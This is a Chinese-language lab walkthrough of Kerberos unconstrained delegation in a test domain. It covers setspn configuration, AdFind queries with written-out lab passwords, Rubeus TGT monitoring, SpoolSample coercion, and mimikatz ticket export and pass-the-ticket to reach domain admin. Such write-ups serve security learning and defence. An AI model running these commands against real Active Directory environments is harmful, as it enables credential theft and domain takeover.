简介
委派
在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派
例:
1 | User访问主机S2上的HTTP服务,此时要想完整的使用HTTP服务,需再访问S3主机上的SQL数据库,但S2并不知道域用户是否拥有权限访问S3上的数据库服务权限,这时为了验证权限,S2会带着User的访问权限去申请访问SQL数据库,若User拥有权限才可进行访问。 |
非约束委派
非约束委派Kerberos中实现时,User会将自KDC拿到的TGT发送给访问的服务机器Service1,Service1再通过拿到手的TGT票据去申请访问其他域内服务,Service1在拿到用户的TGT票据后,会对其留存,以便下次备用,这时,我们便可在拿下的Service1机器中拿到域用户的TGT票据,从而访问域内的可访问服务(域管用户可访问任意服务)
非约束委派流程图
流程
1 | 1.用户发KPB_AS_REQ消息请求[可转发TGT(forwardable TGT)] ,为了方便,先将其称之为TGT1。 |
下面对非约束委派进行复现利用
非约束委派配置
1 | setspn -U -A MSSQLvc/mssql.vulntarget.com:1433 win2016 |
当DC配置SPN给域用户Win2016时,在域内将可产生对域用户的委派,我们可以看到,域管理员勾选win2016用户的委派-信任此用户作为任何服务的委派时,将会造成非约束委派的问题。
非约束委派其特征
当域用户或机器被设置了非约束委派时,其userAccountControl属性将会包含一个名为”TRUSTED_FOR_DELEGATION”的标志。
我们可以在ADSI编辑器中找到
探测域内是否存在非约束委派
1 | win2019 10.0.10.110 dc vulntarget\win2019::Admin@666 |
查找利用账户时,我们暂且不考虑机器账户,因为拿到域内机器账户的票据后,我们无法用于远程访问,因此,我们在进行非约束委派攻击时,首先考虑域用户,但这并不意味着机器账户没有任何用处,当我们可以对机器账户进行非约束委派攻击时,我们可以根据拿到的机器账户TGT票据进行DCsync拿到域内hash等操作。
利用adfind查找域内启用了非约束委派的机器
1 | adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
无需域用户账号密码查询非约束委派的域用户
1 | AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
利用adfind查找域内启用了非约束委派的域内用户
1 | adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
无需密码查找域内非约束委派的主机
1 | AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
机器账户的非约束委派攻击
首先在具备非约束委派攻击条件的域内机器执行Rubeus.exe监控登录操作,并实时转储TGT,(此操作需要本地管理员权限)
1 | Rubeus.exe monitor /interval:1 /filteruser:win2019$ |
利用spoolsample项目使域控强制认证域机器抓取转储tgt
1 | SpoolSample.exe win2019 win2016 |
很遗憾,此处由于dc已是win2019 ,强制认证已经得到微软的修复,因此此处转储机器账户TGT失败。
**低版本域控强制认证成功案例待补充**
但再Win2019 以下如win2012 win2008等服务器内 ,使用spoolSample项目强制域控机认证域机器是有很大概率奏效的。
域用户的非约束委派攻击
倘若发现存在非约束委派的用户,这时,我们可以在域内所有可以登陆此用户的域内机器上尝试非约束委派攻击,获取其缓存的服务账号票据,并期望获得域控的票据。
根据前文所用的adfind.exe ,我们可以发现,在win2016机器上,具有我们执行域用户的非约束委派攻击的条件
此处为了演示效果,我们主动让域控对域内机器win2016发起认证
1 | Enter-PSSession -ComputerName win2016 |
此时,在win2016机器内已经存储下来了域管账户的tgt票据。
在win2016机器内利用mimikatz转储票据(以管理员权限启动)
1 | privilege::debug |
可以看到转储成功,已拿到域管用户的tgt票据,接下来利用ptt hash传递,获得域管权限。
PTT之前,我们是无法通过Kerberos认证访问域控机的共享目录的
利用mimikatz进行ptt
1 | kerberos::ptt [0;2c7f64]-2-0-60a10000-Administrator@krbtgt-VULNTARGET.COM.kirbi |
此时已成功执行!